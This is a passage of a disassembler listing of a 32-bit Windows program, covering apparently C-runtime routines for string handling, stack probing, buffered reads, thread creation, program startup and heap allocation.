sub_443217+53p ; sub_443217+66p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ecx, [esp+4+arg_0] mov ebx, [esp+4+arg_4] mov edx, ecx jmp short loc_44861F ; --------------------------------------------------------------------------- loc_44861E: ; CODE XREF: sub_448611+11j inc edx loc_44861F: ; CODE XREF: sub_448611+Bj cmp byte ptr [edx], 0 jnz short loc_44861E jmp short loc_448628 ; --------------------------------------------------------------------------- loc_448626: ; CODE XREF: sub_448611+1Dj inc edx inc ebx loc_448628: ; CODE XREF: sub_448611+13j mov al, [ebx] mov [edx], al test al, al jnz short loc_448626 mov eax, ecx pop ebx retn sub_448611 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_448641 proc near ; CODE XREF: sub_44352A+268p ; sub_44352A+297p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov ebx, [esp+0Ch+arg_0] mov eax, [esp+0Ch+arg_4] cmp byte ptr [eax], 0 jnz short loc_448671 mov eax, ebx jmp short loc_44868A ; --------------------------------------------------------------------------- loc_448655: ; CODE XREF: sub_448641+45j mov edi, ebx mov esi, [esp+0Ch+arg_4] loc_44865B: ; CODE XREF: sub_448641+2Dj inc esi mov eax, esi cmp byte ptr [eax], 0 jnz short loc_448667 mov eax, ebx jmp short loc_44868A ; --------------------------------------------------------------------------- loc_448667: ; CODE XREF: sub_448641+20j inc edi mov eax, edi mov dl, [esi] cmp [eax], dl jz short loc_44865B inc ebx loc_448671: ; CODE XREF: sub_448641+Ej mov eax, [esp+0Ch+arg_4] movzx eax, byte ptr [eax] push eax push ebx call sub_449E01 add esp, 8 mov ebx, eax test eax, eax jnz short loc_448655 xor eax, eax loc_44868A: ; CODE XREF: sub_448641+12j ; sub_448641+24j pop edi pop esi pop ebx retn sub_448641 endp ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 ; --------------------------------------------------------------------------- pop ecx pop eax add eax, 3 and eax, 0FFFFFFFCh call sub_4486B1 mov eax, esp push ecx retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) ; =============== S U B R O U T I N E ======================================= sub_4486B1 proc near ; CODE XREF: sub_443817+8p ; sub_443A83+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_4486D1 loc_4486BD: ; CODE XREF: sub_4486B1+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_4486BD loc_4486D1: ; CODE XREF: sub_4486B1+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_4486B1 endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4486E1 proc near ; CODE XREF: sub_4447B9+D8p ; sub_446D74+CBp ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov ebx, [ebp+arg_C] mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] mul [ebp+arg_8] mov esi, eax test eax, eax jz loc_4487E5 cmp [ebp+arg_4], 0 jnz loc_4487BB mov eax, [ebp+arg_8] jmp loc_4487E5 ; --------------------------------------------------------------------------- loc_448715: ; CODE XREF: sub_4486E1+DCj mov eax, [ebx+18h] cmp eax, [ebx+10h] ja short loc_44872C push ebx call sub_449E21 pop ecx test eax, eax jl loc_4487C3 loc_44872C: ; CODE XREF: sub_4486E1+3Aj test word ptr [ebx], 400h jz short loc_448747 push esi push 0Ah mov eax, [ebp+var_4] push eax call sub_449F21 add esp, 0Ch mov [ebp+var_10], eax jmp short loc_44874E ; --------------------------------------------------------------------------- loc_448747: ; CODE XREF: sub_4486E1+50j mov [ebp+var_10], 0 loc_44874E: ; CODE XREF: sub_4486E1+64j mov eax, [ebp+var_10] mov [ebp+var_8], eax test eax, eax jz short loc_448766 mov eax, [ebp+var_8] mov edx, [ebp+var_4] sub eax, edx inc eax mov [ebp+var_14], eax jmp short loc_448769 ; --------------------------------------------------------------------------- loc_448766: ; CODE XREF: sub_4486E1+75j mov [ebp+var_14], esi loc_448769: ; CODE XREF: sub_4486E1+83j mov edi, [ebp+var_14] mov eax, [ebx+18h] mov edx, [ebx+10h] sub eax, edx mov [ebp+var_C], eax cmp [ebp+var_C], edi jnb short loc_448786 mov [ebp+var_8], 0 mov edi, [ebp+var_C] loc_448786: ; CODE XREF: sub_4486E1+99j push edi mov eax, [ebp+var_4] push eax mov eax, [ebx+10h] push eax call sub_4485B1 add esp, 0Ch mov eax, [ebp+var_4] add eax, edi mov [ebp+var_4], eax sub esi, edi lea eax, [ebx+10h] mov edx, [eax] add edx, edi mov [eax], edx cmp [ebp+var_8], 0 jz short loc_4487BB push ebx call sub_449C21 pop ecx test eax, eax jnz short loc_4487C3 loc_4487BB: ; CODE XREF: sub_4486E1+26j ; sub_4486E1+CDj test esi, esi jnz loc_448715 loc_4487C3: ; CODE XREF: sub_4486E1+45j ; sub_4486E1+D8j test word ptr [ebx], 800h jz short loc_4487D1 push ebx call sub_449C21 pop ecx loc_4487D1: ; CODE XREF: sub_4486E1+E7j mov eax, [ebp+arg_4] mov [ebp+var_8], eax mul [ebp+arg_8] sub eax, esi mov edx, [ebp+var_8] mov ecx, edx xor edx, edx div ecx loc_4487E5: ; CODE XREF: sub_4486E1+1Cj ; sub_4486E1+2Fj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4486E1 endp ; --------------------------------------------------------------------------- db 90h db 8Dh, 7Ch, 27h, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F894 push offset sub_4083B8 push large dword ptr fs:0 mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp-18h], esp mov ebx, [ebp+8] push ebx mov eax, dword_411770 push eax call dword_411D98 ; TlsSetValue test eax, eax jnz short loc_448833 push 1 call sub_44A111 pop ecx loc_448833: ; CODE XREF: DMN1:00448829j mov dword ptr [ebp-4], 0 mov eax, [ebx+44h] push eax call dword ptr [ebx+40h] pop ecx call sub_448921 jmp short loc_448871 ; --------------------------------------------------------------------------- mov eax, [ebp-14h] mov eax, [eax] mov eax, [eax] mov [ebp-1Ch], eax mov eax, [ebp-14h] push eax mov eax, [ebp-1Ch] push eax call sub_44A121 add esp, 8 retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] mov eax, [ebp-1Ch] push eax call sub_44A111 pop ecx loc_448871: ; CODE XREF: DMN1:00448847j or dword ptr [ebp-4], 0FFFFFFFFh xor eax, eax pop edi pop esi pop ebx mov ecx, [ebp-10h] mov large fs:0, ecx mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_448891 proc near ; CODE XREF: DMN1:00444F26p ; DMN1:00444FA3p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi xor esi, esi push 48h call sub_449121 pop ecx mov ebx, eax test eax, eax jz short loc_448900 push ebx call sub_449FE1 pop ecx mov eax, [ebp+arg_0] mov [ebx+40h], eax mov eax, [ebp+arg_8] mov [ebx+44h], eax push ebx push 4 push ebx push offset sub_407870 mov eax, [ebp+arg_4] push eax push 0 call dword_411D9C ; CreateThread mov edi, eax mov [ebx+4], eax test eax, eax jnz short loc_4488E2 call dword_411CE8 ; RtlGetLastWin32Error mov esi, eax jmp short loc_448900 ; --------------------------------------------------------------------------- loc_4488E2: ; CODE XREF: sub_448891+45j mov eax, edi push eax call dword_411DA0 ; ResumeThread cmp eax, 0FFFFFFFFh jnz short loc_4488FC call dword_411CE8 ; RtlGetLastWin32Error mov esi, eax jmp short loc_448900 ; --------------------------------------------------------------------------- loc_4488FC: ; CODE XREF: sub_448891+5Fj mov eax, edi jmp short loc_448915 ; --------------------------------------------------------------------------- loc_448900: ; CODE XREF: sub_448891+14j ; sub_448891+4Fj ... push ebx call sub_448071 pop ecx test esi, esi jz short loc_448912 push esi call sub_4491C1 pop ecx loc_448912: ; CODE XREF: sub_448891+78j or eax, 0FFFFFFFFh loc_448915: ; CODE XREF: sub_448891+6Dj pop edi pop esi pop ebx pop ebp retn sub_448891 endp ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_448921 proc near ; CODE XREF: DMN1:00444AF2p ; DMN1:00444F5Fp ... push ebx call sub_44A011 mov ebx, eax test eax, eax jnz short loc_448935 push 1 call sub_44A111 pop ecx loc_448935: ; CODE XREF: sub_448921+Aj cmp dword ptr [ebx+4], 0FFFFFFFFh jz short loc_448948 mov eax, [ebx+4] push eax call dword_411CF8 ; CloseHandle loc_448948: ; CODE XREF: sub_448921+1Bj push ebx call sub_44A081 pop ecx push 0 call dword_411DA4 ; ExitThread pop ebx retn sub_448921 endp ; --------------------------------------------------------------------------- db 90h db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_448961 proc near ; CODE XREF: sub_4467F1+DAp ; sub_4467F1+F1p ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 004489E7 SIZE 0000001B BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F8A0 push offset sub_4083B8 push large dword ptr fs:0 mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp push 2 call sub_4496C1 pop ecx mov [ebp+var_4], 0 jmp short loc_4489AD ; --------------------------------------------------------------------------- loc_448998: ; CODE XREF: sub_448961+53j mov eax, dword_4111A0 lea edx, [eax+1] mov dword_4111A0, edx call dword_411060[eax*4] loc_4489AD: ; CODE XREF: sub_448961+35j cmp dword_4111A0, 50h jb short loc_448998 jmp short loc_4489CA ; --------------------------------------------------------------------------- loc_4489B8: ; CODE XREF: sub_448961+70j mov eax, dword_4111A4 dec eax mov dword_4111A4, eax call dword_411060[eax*4] loc_4489CA: ; CODE XREF: sub_448961+55j cmp dword_4111A4, 0 jnz short loc_4489B8 or [ebp+var_4], 0FFFFFFFFh call sub_4489DE jmp short loc_4489E7 sub_448961 endp ; =============== S U B R O U T I N E ======================================= sub_4489DE proc near ; CODE XREF: sub_448961+76p push 2 call sub_449741 pop ecx retn sub_4489DE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448961 loc_4489E7: ; CODE XREF: sub_448961+7Bj mov eax, [ebp+arg_0] push eax call sub_44A111 pop ecx pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_448961 ; --------------------------------------------------------------------------- db 0Fh dup(90h) ; =============== S U B R O U T I N E ======================================= sub_448A11 proc near ; CODE XREF: DMN1:004475B0p ; DMN1:004475DFp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_44A191 pop ecx retn sub_448A11 endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F8AC push offset sub_4083B8 push large dword ptr fs:0 mov large fs:0, esp sub esp, 50h push ebx push esi push edi mov [ebp-18h], esp push 2000000h call sub_44BDB1 pop ecx mov dword_4117DC, eax call sub_449531 test eax, eax jnz short loc_448A68 push 1 call sub_44A111 pop ecx loc_448A68: ; CODE XREF: DMN1:00448A5Ej call sub_449F51 test eax, eax jnz short loc_448A79 push 1 call sub_44A111 pop ecx loc_448A79: ; CODE XREF: DMN1:00448A6Fj mov dword ptr [ebp-4], 0 call sub_44A1C1 call sub_44A221 call sub_44A691 call sub_44A731 mov esi, offset dword_4101AC jmp short loc_448AA0 ; --------------------------------------------------------------------------- loc_448A9B: ; CODE XREF: DMN1:00448AA6j call dword ptr [esi] add esi, 4 loc_448AA0: ; CODE XREF: DMN1:00448A99j cmp esi, offset dword_4101AC jb short loc_448A9B mov dword ptr [ebp-30h], 0 lea eax, [ebp-5Ch] push eax call dword_411DA8 ; GetStartupInfoA push 0 call dword_411D6C ; GetModuleHandleA mov [ebp-60h], eax call sub_44A7F1 test byte ptr [ebp-30h], 1 jz short loc_448AD5 movzx esi, word ptr [ebp-2Ch] jmp short loc_448ADA ; --------------------------------------------------------------------------- loc_448AD5: ; CODE XREF: DMN1:00448ACDj mov esi, 0Ah loc_448ADA: ; CODE XREF: DMN1:00448AD3j push esi push eax push 0 mov eax, [ebp-60h] push eax call sub_447C0A mov ebx, eax mov edi, offset dword_4101AC jmp short loc_448AF5 ; --------------------------------------------------------------------------- loc_448AF0: ; CODE XREF: DMN1:00448AFBj call dword ptr [edi] add edi, 4 loc_448AF5: ; CODE XREF: DMN1:00448AEEj cmp edi, offset dword_4101AC jb short loc_448AF0 push ebx call sub_448961 pop ecx jmp short loc_448B2E ; --------------------------------------------------------------------------- mov eax, [ebp-14h] mov eax, [eax] mov eax, [eax] mov [ebp-1Ch], eax mov eax, [ebp-14h] push eax mov eax, [ebp-1Ch] push eax call sub_44A121 add esp, 8 retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] mov eax, [ebp-1Ch] push eax call sub_44A111 pop ecx loc_448B2E: ; CODE XREF: DMN1:00448B04j or dword ptr [ebp-4], 0FFFFFFFFh pop edi pop esi pop ebx mov ecx, [ebp-10h] mov large fs:0, ecx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_448B51 proc near ; CODE XREF: sub_448DE1+ECp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov eax, [ebp+arg_0] add eax, 3 shr eax, 0Eh shl eax, 0Eh lea esi, [eax+4000h] mov edi, esi shl edi, 2 push edi call sub_44A831 pop ecx mov [ebp+var_8], eax test eax, eax jnz short loc_448B90 mov dword_4117E0, 0 xor eax, eax jmp loc_448DCE ; --------------------------------------------------------------------------- loc_448B90: ; CODE XREF: sub_448B51+2Cj mov eax, dword_4127EC mov edx, dword_4127E8 add eax, edx cmp eax, [ebp+var_8] jnz short loc_448BB6 mov ebx, dword_4127E8 mov eax, dword_4127EC add edi, eax mov esi, edi shr esi, 2 jmp short loc_448BC3 ; --------------------------------------------------------------------------- loc_448BB6: ; CODE XREF: sub_448B51+4Fj mov eax, [ebp+var_8] mov ebx, eax mov edx, ebx sub edx, eax mov eax, edx sub edi, eax loc_448BC3: ; CODE XREF: sub_448B51+63j mov eax, esi shl eax, 2 lea edx, [ebx+eax] mov dword_4127E8, edx mov edx, edi sub edx, eax mov eax, edx mov dword_4127EC, eax mov eax, dword_4111CC add eax, 4 cmp ebx, eax jnz short loc_448BF5 cmp dword_4111D4, 0 jnz loc_448D67 loc_448BF5: ; CODE XREF: sub_448B51+95j mov eax, dword_4111D4 mov [ebp+var_C], eax mov dword_4111D4, ebx mov eax, [ebp+var_C] mov [ebx], eax add ebx, 4 dec esi mov dword_4111CC, ebx mov eax, dword_4111D0 test eax, eax jz short loc_448C1F cmp eax, ebx jbe short loc_448C25 loc_448C1F: ; CODE XREF: sub_448B51+C8j mov dword_4111D0, ebx loc_448C25: ; CODE XREF: sub_448B51+CCj mov eax, esi or eax, 80000000h mov [ebx], eax mov eax, dword_4111CC lea eax, [eax+esi*4-4] mov dword_4111CC, eax mov edx, dword_4111CC mov eax, esi or eax, 80000000h mov [edx], eax sub esi, 2 add ebx, 4 mov eax, dword_4111CC lea ebx, [eax-4] cmp esi, dword_4111E4 ja short loc_448C93 cmp esi, dword_4111DC ja short loc_448C7B mov eax, dword_4111D8 cmp esi, eax setnbe al and eax, 1 mov [ebp+var_10], eax jmp short loc_448C8E ; --------------------------------------------------------------------------- loc_448C7B: ; CODE XREF: sub_448B51+116j mov eax, dword_4111E0 cmp esi, eax setnbe al and eax, 1 add eax, 2 mov [ebp+var_10], eax loc_448C8E: ; CODE XREF: sub_448B51+128j mov eax, [ebp+var_10] jmp short loc_448CC3 ; --------------------------------------------------------------------------- loc_448C93: ; CODE XREF: sub_448B51+10Ej cmp esi, dword_4111EC ja short loc_448CB0 mov eax, dword_4111E8 cmp esi, eax setnbe al and eax, 1 add eax, 4 mov [ebp+var_10], eax jmp short loc_448CC3 ; --------------------------------------------------------------------------- loc_448CB0: ; CODE XREF: sub_448B51+148j mov eax, dword_4111F0 cmp esi, eax setnbe al and eax, 1 add eax, 6 mov [ebp+var_10], eax loc_448CC3: ; CODE XREF: sub_448B51+140j ; sub_448B51+15Dj mov eax, [ebp+var_10] mov dword_4111FC, eax mov eax, dword_4111FC mov eax, dword_4111A8[eax*4] mov [ebp+var_18], eax test eax, eax jnz short loc_448D09 mov [ebp+var_14], ebx mov [ebp+var_18], ebx mov eax, dword_4111FC mov dword_4111A8[eax*4], ebx mov eax, dword_4111FC cmp dword_4111F8, eax jle short loc_448D12 mov eax, dword_4111FC mov dword_4111F8, eax jmp short loc_448D12 ; --------------------------------------------------------------------------- loc_448D09: ; CODE XREF: sub_448B51+18Bj mov eax, [ebp+var_18] mov eax, [eax-8] mov [ebp+var_14], eax loc_448D12: ; CODE XREF: sub_448B51+1AAj ; sub_448B51+1B6j mov eax, [ebp+var_18] mov [ebx-4], eax mov edx, [ebp+var_18] mov [edx-8], ebx mov edx, [ebp+var_14] mov [edx-4], ebx mov eax, [ebp+var_14] mov [ebx-8], eax mov eax, esi shl eax, 2 mov edx, ebx sub edx, eax mov [edx+4], esi mov [ebx], esi mov eax, dword_4111FC mov dword_4111A8[eax*4], ebx jmp short loc_448D4C ; --------------------------------------------------------------------------- loc_448D46: ; CODE XREF: sub_448B51+20Dj inc dword_4111F8 loc_448D4C: ; CODE XREF: sub_448B51+1F3j mov eax, dword_4111F8 cmp dword_4111A8[eax*4], 0 jnz short loc_448D60 cmp eax, 7 jl short loc_448D46 loc_448D60: ; CODE XREF: sub_448B51+208j mov eax, 1 jmp short loc_448DCE ; --------------------------------------------------------------------------- loc_448D67: ; CODE XREF: sub_448B51+9Ej add ebx, 0FFFFFFFCh mov eax, [ebx] and eax, 7FFFFFFFh add eax, esi mov [ebp+var_4], eax mov eax, esi or eax, 80000000h mov [ebx], eax mov eax, dword_4111CC lea eax, [eax+esi*4] mov dword_4111CC, eax mov edx, dword_4111CC mov eax, [ebx] mov [edx-4], eax mov edx, dword_4111CC mov eax, [ebp+var_4] or eax, 80000000h mov [edx], eax mov eax, [ebp+var_4] mov edx, dword_4111CC mov ecx, eax shl ecx, 2 sub edx, ecx or eax, 80000000h mov [edx+4], eax lea eax, [ebx+4] push eax call sub_448071 pop ecx mov eax, 1 loc_448DCE: ; CODE XREF: sub_448B51+3Aj ; sub_448B51+214j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_448B51 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BFh, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_448DE1 proc near ; CODE XREF: sub_449121+4Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 24h push ebx push esi push edi xor ebx, ebx mov eax, [ebp+arg_0] add eax, 3 shr eax, 2 lea esi, [eax+2] cmp esi, 4 jnb short loc_448E02 mov esi, 4 loc_448E02: ; CODE XREF: sub_448DE1+1Aj xor edi, edi cmp esi, dword_4111E4 ja short loc_448E3E cmp esi, dword_4111DC ja short loc_448E26 mov eax, dword_4111D8 cmp esi, eax setnbe al and eax, 1 mov [ebp+var_10], eax jmp short loc_448E39 ; --------------------------------------------------------------------------- loc_448E26: ; CODE XREF: sub_448DE1+31j mov eax, dword_4111E0 cmp esi, eax setnbe al and eax, 1 add eax, 2 mov [ebp+var_10], eax loc_448E39: ; CODE XREF: sub_448DE1+43j mov eax, [ebp+var_10] jmp short loc_448E6E ; --------------------------------------------------------------------------- loc_448E3E: ; CODE XREF: sub_448DE1+29j cmp esi, dword_4111EC ja short loc_448E5B mov eax, dword_4111E8 cmp esi, eax setnbe al and eax, 1 add eax, 4 mov [ebp+var_10], eax jmp short loc_448E6E ; --------------------------------------------------------------------------- loc_448E5B: ; CODE XREF: sub_448DE1+63j mov eax, dword_4111F0 cmp esi, eax setnbe al and eax, 1 add eax, 6 mov [ebp+var_10], eax loc_448E6E: ; CODE XREF: sub_448DE1+5Bj ; sub_448DE1+78j mov eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, dword_4111F8 cmp [ebp+var_C], eax jge short loc_448EBE mov eax, dword_4111F8 mov [ebp+var_C], eax jmp short loc_448EBE ; --------------------------------------------------------------------------- loc_448E88: ; CODE XREF: sub_448DE1+E5j mov eax, [ebp+var_C] lea edx, [eax+1] mov [ebp+var_C], edx mov eax, dword_4111A8[eax*4] mov ebx, eax test eax, eax jz short loc_448EBE mov eax, dword_4111CC add eax, 0FFFFFFFCh cmp ebx, eax jnz short loc_448EAD mov ebx, [ebx-4] loc_448EAD: ; CODE XREF: sub_448DE1+C7j mov [ebp+var_4], ebx loc_448EB0: ; CODE XREF: sub_448DE1+DBj mov edi, [ebx] cmp edi, esi jnb short loc_448EBE mov ebx, [ebx-4] cmp ebx, [ebp+var_4] jnz short loc_448EB0 loc_448EBE: ; CODE XREF: sub_448DE1+9Bj ; sub_448DE1+A5j ... cmp edi, esi jnb short loc_448EC8 cmp [ebp+var_C], 8 jl short loc_448E88 loc_448EC8: ; CODE XREF: sub_448DE1+DFj cmp edi, esi jnb short loc_448EEE push esi call sub_448B51 pop ecx test eax, eax jz loc_449118 mov eax, dword_4111FC mov [ebp+var_C], eax mov ebx, dword_4111A8[eax*4] mov edi, [ebx] jmp short loc_448EF7 ; --------------------------------------------------------------------------- loc_448EEE: ; CODE XREF: sub_448DE1+E9j cmp [ebp+var_C], 0 jle short loc_448EF7 dec [ebp+var_C] loc_448EF7: ; CODE XREF: sub_448DE1+10Bj ; sub_448DE1+111j mov eax, edi sub eax, esi mov [ebp+var_14], eax cmp eax, 4 jb loc_449080 mov eax, dword_4111E4 cmp [ebp+var_14], eax ja short loc_448F47 mov eax, dword_4111DC cmp [ebp+var_14], eax ja short loc_448F2E mov eax, dword_4111D8 cmp [ebp+var_14], eax setnbe al and eax, 1 mov [ebp+var_1C], eax jmp short loc_448F42 ; --------------------------------------------------------------------------- loc_448F2E: ; CODE XREF: sub_448DE1+138j mov eax, dword_4111E0 cmp [ebp+var_14], eax setnbe al and eax, 1 add eax, 2 mov [ebp+var_1C], eax loc_448F42: ; CODE XREF: sub_448DE1+14Bj mov eax, [ebp+var_1C] jmp short loc_448F7B ; --------------------------------------------------------------------------- loc_448F47: ; CODE XREF: sub_448DE1+12Ej mov eax, dword_4111EC cmp [ebp+var_14], eax ja short loc_448F67 mov eax, dword_4111E8 cmp [ebp+var_14], eax setnbe al and eax, 1 add eax, 4 mov [ebp+var_1C], eax jmp short loc_448F7B ; --------------------------------------------------------------------------- loc_448F67: ; CODE XREF: sub_448DE1+16Ej mov eax, dword_4111F0 cmp [ebp+var_14], eax setnbe al and eax, 1 add eax, 6 mov [ebp+var_1C], eax loc_448F7B: ; CODE XREF: sub_448DE1+164j ; sub_448DE1+184j mov eax, [ebp+var_1C] mov [ebp+var_18], eax mov eax, [ebp+var_C] cmp [ebp+var_18], eax jz loc_44906D mov eax, [ebx-4] mov [ebp+var_20], eax cmp ebx, [ebp+var_20] jnz short loc_448FCF mov eax, [ebp+var_C] mov dword_4111A8[eax*4], 0 mov eax, [ebp+var_C] cmp dword_4111F8, eax jnz short loc_449000 jmp short loc_448FB9 ; --------------------------------------------------------------------------- loc_448FB3: ; CODE XREF: sub_448DE1+1EAj inc dword_4111F8 loc_448FB9: ; CODE XREF: sub_448DE1+1D0j mov eax, dword_4111F8 cmp dword_4111A8[eax*4], 0 jnz short loc_448FCD cmp eax, 7 jl short loc_448FB3 loc_448FCD: ; CODE XREF: sub_448DE1+1E5j jmp short loc_449000 ; --------------------------------------------------------------------------- loc_448FCF: ; CODE XREF: sub_448DE1+1B5j mov eax, [ebx-8] mov [ebp+var_24], eax mov edx, [ebp+var_24] mov eax, [ebp+var_20] mov [edx-4], eax mov edx, [ebp+var_20] mov eax, [ebp+var_24] mov [edx-8], eax mov eax, [ebp+var_C] cmp ebx, dword_4111A8[eax*4] jnz short loc_449000 mov eax, [ebp+var_C] mov edx, [ebp+var_24] mov dword_4111A8[eax*4], edx loc_449000: ; CODE XREF: sub_448DE1+1CEj ; sub_448DE1:loc_448FCDj ... mov eax, [ebp+var_18] mov eax, dword_4111A8[eax*4] mov [ebp+var_24], eax test eax, eax jnz short loc_449036 mov [ebp+var_20], ebx mov [ebp+var_24], ebx mov eax, [ebp+var_18] mov dword_4111A8[eax*4], ebx mov eax, [ebp+var_18] cmp dword_4111F8, eax jle short loc_44903F mov eax, [ebp+var_18] mov dword_4111F8, eax jmp short loc_44903F ; --------------------------------------------------------------------------- loc_449036: ; CODE XREF: sub_448DE1+22Ej mov eax, [ebp+var_24] mov eax, [eax-8] mov [ebp+var_20], eax loc_44903F: ; CODE XREF: sub_448DE1+249j ; sub_448DE1+253j mov eax, [ebp+var_24] mov [ebx-4], eax mov edx, [ebp+var_24] mov [edx-8], ebx mov edx, [ebp+var_20] mov [edx-4], ebx mov eax, [ebp+var_20] mov [ebx-8], eax mov eax, [ebp+var_14] mov edx, eax shl edx, 2 mov ecx, ebx sub ecx, edx mov [ecx+4], eax mov [ebx], eax jmp loc_4490F5 ; --------------------------------------------------------------------------- loc_44906D: ; CODE XREF: sub_448DE1+1A6j mov eax, [ebp+var_14] mov edx, eax shl edx, 2 mov ecx, ebx sub ecx, edx mov [ecx+4], eax mov [ebx], eax jmp short loc_4490F5 ; --------------------------------------------------------------------------- loc_449080: ; CODE XREF: sub_448DE1+120j mov eax, [ebx-4] mov [ebp+var_1C], eax cmp ebx, [ebp+var_1C] jnz short loc_4490C2 mov eax, [ebp+var_C] mov dword_4111A8[eax*4], 0 mov eax, [ebp+var_C] cmp dword_4111F8, eax jnz short loc_4490F3 jmp short loc_4490AC ; --------------------------------------------------------------------------- loc_4490A6: ; CODE XREF: sub_448DE1+2DDj inc dword_4111F8 loc_4490AC: ; CODE XREF: sub_448DE1+2C3j mov eax, dword_4111F8 cmp dword_4111A8[eax*4], 0 jnz short loc_4490C0 cmp eax, 7 jl short loc_4490A6 loc_4490C0: ; CODE XREF: sub_448DE1+2D8j jmp short loc_4490F3 ; --------------------------------------------------------------------------- loc_4490C2: ; CODE XREF: sub_448DE1+2A8j mov eax, [ebx-8] mov [ebp+var_20], eax mov edx, [ebp+var_20] mov eax, [ebp+var_1C] mov [edx-4], eax mov edx, [ebp+var_1C] mov eax, [ebp+var_20] mov [edx-8], eax mov eax, [ebp+var_C] cmp ebx, dword_4111A8[eax*4] jnz short loc_4490F3 mov eax, [ebp+var_C] mov edx, [ebp+var_20] mov dword_4111A8[eax*4], edx loc_4490F3: ; CODE XREF: sub_448DE1+2C1j ; sub_448DE1:loc_4490C0j ... mov esi, edi loc_4490F5: ; CODE XREF: sub_448DE1+287j ; sub_448DE1+29Dj mov eax, edi shl eax, 2 mov edx, ebx sub edx, eax lea eax, [edx+4] mov [ebp+var_8], eax mov edx, esi or edx, 80000000h mov [eax+esi*4-4], edx mov [eax], edx mov eax, [ebp+var_8] add eax, 4 loc_449118: ; CODE XREF: sub_448DE1+F4j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_448DE1 endp ; --------------------------------------------------------------------------- db 89h, 0FFh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_449121 proc near ; CODE XREF: sub_447CC1+Dp ; sub_448891+Ap ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00449188 SIZE 00000038 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F8BC push offset sub_4083B8 push large dword ptr fs:0 mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov [ebp+var_1C], 0 mov eax, dword_4117E0 cmp [ebp+arg_0], eax jnb short loc_449188 push 0 call sub_4496C1 pop ecx mov [ebp+var_4], 0 mov eax, [ebp+arg_0] push eax call sub_448DE1 pop ecx mov [ebp+var_1C], eax or [ebp+var_4], 0FFFFFFFFh call sub_44917F jmp short loc_449188 sub_449121 endp ; =============== S U B R O U T I N E ======================================= sub_44917F proc near ; CODE XREF: sub_449121+57p push 0 call sub_449741 pop ecx retn sub_44917F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449121 loc_449188: ; CODE XREF: sub_449121+35j ; sub_449121+5Cj cmp [ebp+var_1C], 0 jnz short loc_44919B mov eax, [ebp+arg_0] push eax 